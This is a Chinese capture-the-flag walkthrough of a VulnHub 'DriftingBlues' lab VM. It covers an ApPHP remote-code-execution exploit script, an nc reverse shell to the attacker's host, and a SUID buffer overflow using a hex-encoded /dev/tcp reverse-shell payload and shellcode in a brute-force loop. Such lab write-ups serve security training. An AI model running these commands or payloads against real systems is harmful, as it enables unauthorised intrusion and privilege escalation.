vulnhub靶场【DriftingBlues】之9 final

前言

靶机:DriftingBlues-6,IP地址192.168.1.66

攻击:kali,IP地址192.168.1.16

都采用虚拟机,网卡为桥接模式

主机发现

使用arp-scan -lnetdiscover -r 192.168.1.1/24

在这里插入图片描述

信息收集

使用nmap扫描端口

在这里插入图片描述

网站探测

访问80端口,这或许就是CMS

在这里插入图片描述

使用whatweb探测

whatweb http://192.168.1.66

在这里插入图片描述

使用gobuster、ffuf、dirsearch、dirb、dirbuster等工具进行目录爆破

gobuster dir -u http://192.168.1.66 -w /usr/share/wordlists/dirb/big.txt -x zip,php,txt,md,html,jpg -d -b 404,403

在这里插入图片描述

访问README.txt,确定CMS及版本

在这里插入图片描述

漏洞寻找

访问一圈扫描到的目录,没发现有什么信息,使用searchsploit测试有无对应版本的历史漏洞

searchsploit apphp

在这里插入图片描述

有一个远程代码执行的py脚本,尝试使用该脚本进行测试,注意,这里需要的是python2的环境

locate 33070.py
cp /usr/share/exploitdb/exploits/php/webapps/33070.py ./ 
chmod +x 33070.py

python2 33070.py http://192.168.1.66/index.php

漏洞利用

该脚本首先会进行测试,如phpinfo信息等,用法

Usage: python 33070.py http://target/blog/index.php

执行脚本后发现测试出一个php文件中的信息,这个脚本直接通过浏览器访问,是没有任何信息,但是这里就可以发现

用户名clapton和密码yaraklitepe

在这里插入图片描述

测试命令是否能被执行,发现确实可以

在这里插入图片描述

靶机内信息收集

查看靶机内的用户

在这里插入图片描述

为了后续方便,还是获取一个终端为好,不过这里只是命令执行,所以需要进行反弹shell。

我这里是测试发现直接使用bash反弹不成功,然后使用的nc,当然反弹的方法很多,https://forum.ywhack.com/shell.php

#kali开启监听
nc -lvvp 9999

#靶机把bash反弹
nc -e /bin/bash 192.168.1.16 9999

在这里插入图片描述

然后使用python获取一个终端,注意,这里是python2,因为之前使用命令测试安装的版本

dpkg -l | grep python
或者
compgen -c | grep python  //靶机没有这个命令

既然有用户clapton,与前面收集的连接数据库的一样了,测试是否一码多用,成功

在这里插入图片描述

返回其主目录查看,发现一个SUID的文件,剩下的两个,一个flag,一个内容说缓冲区溢出是这个方法

在这里插入图片描述

使用file知道是可执行文件,但是无法知道其内容,使用python开启简易的http,然后下载到kali

这里因为python是2.x版本,所以与3.x开启不一样

python -m SimpleHTTPServe 9999

使用strings也没发现调用命令等,不过发现一些信息,收集一下

在这里插入图片描述

缓冲区溢出提取

之前查看note时,提示缓冲区溢出,那么进行处理。

我这里之前因为打过哈利波特的一个靶场,涉及到缓冲区溢出,所以大概知道流程

首先需要关闭kali中的alsr功能

alsr是内存地址随机化的安全技术,如若不关闭,会导致内存地址一直变化,无法确定关键点(缓存溢出的位置)

cd /proc/sys/kernel
echo 0 > randomize_va_space

在这里插入图片描述

可以使用edb-debugger安装即可,或使用gdb

输入命令edb打开图形化界面进行调试

首先把可执行文件加入到调试器中,然后选择打开input,然后上传多个A进行测试,看是否存在溢出,这里生成300个A测试

打开input文件,然后把生成的字符写入

在这里插入图片描述

然后进行执行调试,发现最终提示溢出

在这里插入图片描述

可以看到EIPESP都是A,EIP是进行跳转执行指令地址的,ESP是指令寄存处

在这里插入图片描述

那么这时候测试其偏移量为多少,使用msf生成无规律的字符

msf-pattern_create -l 600

在这里插入图片描述

然后把这一串字符,复制,与上面一样,在打开文件时,写入

在这里插入图片描述

在这里插入图片描述

再使用msf查看这个字符所处的位置

msf-pattern_offset -l 600 -q 41376641

在这里插入图片描述

OK,确定偏移量为171,那么从172开始的四个字符就是EIP的地址,也是需要重点关注的,并且再测试确实后面跟着的就是ESP中的内容。

下面就是需要寻找到ESP的地址,方便在覆盖EIP时,确保地址是ESP的地址,这么就可以在ESP中写入反弹命令

不过,这里一直使用的图形化界面edb,也要使用gdb,毕竟有些时候条件有限,所以这个工具也要会用

这里可以在kali中继续测试,不过我这里为了省时间,在靶机内测试,因为靶机内可以使用gdb,并且如果在kali中处理,还有一些环境问题需要解决。

下面在靶机内使用gdb测试,因为已经知道偏移量等,这里直接获取ESP地址

gdb input
(gdb)r $(python -c 'print("A"*300)')
(gdb)x/s $esp

在这里插入图片描述

获取到地址0xbfae41b0,这时候就可以进行构造payload,因为这里是小端序字节,所以地址需要倒写\xb0\x41\xae\xbf

$(python -c 'print("A"*171+"\xb0\x41\xae\xbf"+"\x62\x61\x73\x68\x20\x2d\x63\x20\x27\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31\x36\x2f\x38\x38\x38\x38\x20\x30\x3e\x26\x31\x27")')

再次构造后,把上面的语句进行测试,可以看到确实是小端序吧,并且发现ESP地址改变,说明靶机内的alsr是开启的,地址就会动态变化

在这里插入图片描述

那就不可能一次就中,说明这里可能需要多次,那么就写一个循环,注意,这里是一行,也就是可以直接输入,如要多行,可能需要用到EOF等

但是这里的脚本还是不行,测试发现使用msfvenom生成的是反弹shell,并非是其缓冲区溢出,这个个人不是很熟悉,所以借取网上的wp,代码这样的,不过这段代码我是不理解其含义,后续再学习\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80

结合前面的,把循环加上就是这样的构造,这里的ESP地址改变,是因为测试几遍后重新获取的

for i in {1..10000}; do (./input $(python -c 'print("A"*171+"\x70\x3f\xf8\xbf"+"\x90"*32+ "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')); done

直接在终端运行,等待一会,提取成功

在这里插入图片描述

总结

  1. 考察对于一些CMS的历史漏洞寻找并利用
  2. 考察对于缓冲区溢出的掌握,以及ESP、EIP,偏移量等

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/939321.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

智慧公交指挥中枢,数据可视化 BI 驾驶舱

随着智慧城市的蓬勃发展,公共交通作为城市运营的核心枢纽,正朝着智能化和数据驱动的方向演进。通过整合 CAN 总线技术(Controller Area Network,控制器局域网总线)、车载智能终端、大数据分析及处理等尖端技术,构建的公交“大脑”…

页面无滚动条,里面div各自有滚动条

一、双滚动条左右布局 实现效果 实现代码 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8" /><meta name"viewport" content"widthdevice-width, initial-scale1.0" /><title>Doc…

美畅物联丨分布式锁实战:Spring Boot项目中的Redis应用

在分布式系统里&#xff0c;多个节点或许会同时对共享资源进行访问与操作。为防止出现数据不一致、资源竞争等状况&#xff0c;就需要一种机制来对这些并发访问加以协调&#xff0c;于是分布式锁就出现了。它如同一把全局的钥匙&#xff0c;在同一时刻仅有一个节点能够获取该钥…

[计算机网络]ARP协议的故事:小明找小红的奇妙旅程

1.ARP小故事 在一个繁忙的网络世界中&#xff0c;每个设备都有自己的身份标识——MAC地址&#xff0c;就像每个人的身份证号码一样。在这个故事里&#xff0c;我们的主角小明&#xff08;主机&#xff09;需要找到小红&#xff08;目标主机&#xff09;的MAC地址&#xff0c;才…

从RNN到Transformer:生成式AI自回归模型的全面剖析

个人主页&#xff1a;chian-ocean 文章专栏 生成式AI中的自回归模型详解 在生成式AI的飞速发展中&#xff0c;自回归模型作为核心技术之一&#xff0c;成为文本生成、语音合成、图像生成等领域的重要支柱。本文将全面探讨自回归模型的原理、架构、实际应用&#xff0c;并结合…

「Mac畅玩鸿蒙与硬件47」UI互动应用篇24 - 虚拟音乐控制台

本篇将带你实现一个虚拟音乐控制台。用户可以通过界面控制音乐的播放、暂停、切换歌曲&#xff0c;并查看当前播放的歌曲信息。页面还支持调整音量和动态显示播放进度&#xff0c;是音乐播放器界面开发的基础功能示例。 关键词 UI互动应用音乐控制播放控制动态展示状态管理按钮…

用QT制作的倒计时软件

一、pro代码 RC_ICONS countdown.ico 二、mainwindow.cpp代码 #include "mainwindow.h" #include "ui_mainwindow.h"#include <QDateTime> #include <QMessageBox> #include <QSettings>MainWindow::MainWindow(QWidget *parent): QM…

Unbuntu下怎么生成SSL自签证书?

环境&#xff1a; WSL2 Unbuntu 22.04 问题描述&#xff1a; Unbuntu下怎么生成SSL自签证书&#xff1f; 解决方案&#xff1a; 生成自签名SSL证书可以使用OpenSSL工具&#xff0c;这是一个广泛使用的命令行工具&#xff0c;用于创建和管理SSL/TLS证书。以下是生成自签名…

springboot446数字化农家乐管理平台的设计与实现(论文+源码)_kaic

摘 要 互联网发展至今&#xff0c;无论是其理论还是技术都已经成熟&#xff0c;而且它广泛参与在社会中的方方面面。它让信息都可以通过网络传播&#xff0c;搭配信息管理工具可以很好地为人们提供服务。针对信息管理混乱&#xff0c;出错率高&#xff0c;信息安全性差&#x…

laya游戏引擎中打包之后图片模糊

如下图正常运行没问题&#xff0c;打包之后却模糊 纹理类型中的默认类型都是精灵纹理&#xff0c;改为默认值即可。注意&#xff1a;要点击“应用”才可有效。精灵纹理类型会对图片进行渲染处理&#xff0c;而默认值 平面类型不会处理图片。

[SZ901]FPGA程序固化工具使用方法

工具为脚本形式&#xff0c;前期需进行vivado版本&#xff0c;下载器端口配置 1&#xff0c;编辑 【SZ901程序固化工具.bat】&#xff0c;设置软件版本 修改软件版本和安装路径 2&#xff0c;设置下载器端口&#xff08;SZ901->USER_TCL->FlashBurn_Config.tcl&#x…

基于微信小程序的小区疫情防控ssm+论文源码调试讲解

第2章 程序开发技术 2.1 Mysql数据库 为了更容易理解Mysql数据库&#xff0c;接下来就对其具备的主要特征进行描述。 &#xff08;1&#xff09;首选Mysql数据库也是为了节省开发资金&#xff0c;因为网络上对Mysql的源码都已进行了公开展示&#xff0c;开发者根据程序开发需…

Arduino ADC模数转换

1.Arduino UNO ADC的配置及原理 1.1ADC配置 1.1.1分辨率 Arduino Uno支持6个adc模数转换,其ADC只有10位分辨率,也就是说我们只能将输入电平分成2^101024份(0~1023),4.88mV的测量精度. 1.1.2输入电压范围 Arduino Uno的引脚输出是5V,同样引脚输入也最多支持5V,我们可以5V电压分…

论文笔记:是什么让多模态学习变得困难?

整理了What Makes Training Multi-modal Classification Networks Hard? 论文的阅读笔记 背景方法OGR基于最小化OGR的多监督信号混合在实践中的应用 实验 背景 直观上&#xff0c;多模态网络接收更多的信息&#xff0c;因此它应该匹配或优于其单峰网络。然而&#xff0c;最好的…

唯品会Android面试题及参考答案

HTTP 和 HTTPS 的区别是什么&#xff1f;你的项目使用的是 HTTP 还是 HTTPS&#xff1f; HTTP 和 HTTPS 主要有以下区别。 首先是安全性。HTTP 是超文本传输协议&#xff0c;数据传输是明文的&#xff0c;这意味着在数据传输过程中&#xff0c;信息很容易被窃取或者篡改。比如&…

LWIP协议:三次握手和四次挥手、TCP/IP模型

一、三次握手&#xff1a;是客户端与服务器建立连接的方式&#xff1b; 1、客户端发送建立TCP连接的请求。seq序列号是由发送端随机生成的&#xff0c;SYN字段置为1表示需要建立TCP连接。&#xff08;SYN1&#xff0c;seqx&#xff0c;x为随机生成数值&#xff09;&#xff1b;…

Kafka Streams 在监控场景的应用与实践

作者&#xff1a;来自 vivo 互联网服务器团队- Pang Haiyun 介绍 Kafka Streams 的原理架构&#xff0c;常见配置以及在监控场景的应用。 一、背景 在当今大数据时代&#xff0c;实时数据处理变得越来越重要&#xff0c;而监控数据的实时性和可靠性是监控能力建设最重要的一环…

Medium是什么,Medium能干嘛,如何用开通medium会员

1.背景介绍 1.1 什么是medium medium是国外一个内容创作和分享平台。 主要用户来自美国&#xff0c;每月有26万的访问量。 网址&#xff1a; Medium官网 平台注重优质、专业的内容。 这个平台有2点比较吸引人&#xff1a; ① 内容优质、专业 ② 在上面写作&#xff0c;能…

【实验17】不同优化算法的比较分析

目录 1 不同优化算法比较分析-2D可视化实验 1.1 优化算法的实验设定(以函数为例) 1.2 学习率调整优化策略 1.1.2 AdaGrad算法 1.1.2 RMSprop算法 1.3 梯度估计修正优化策略 1.3.1 动量法 1.3.2 Adam算法 1.4 完整代码 1.5 函数 的优化算法比较 2 不同优化算法比较分…

复习打卡大数据篇——Hadoop HDFS 01

目录 1. HDFS简介 2. HDFS基本操作 3. HDFS原理 1. HDFS简介 HDFS概念&#xff1a; HDFS是一个分布式的文件系统。分布式意味着多台机器存储&#xff0c;文件系统&#xff0c;就是用来存储文件、存储数据。是大数据最底层一个服务。 HDFS设计目标&#xff1a; 故障的检测…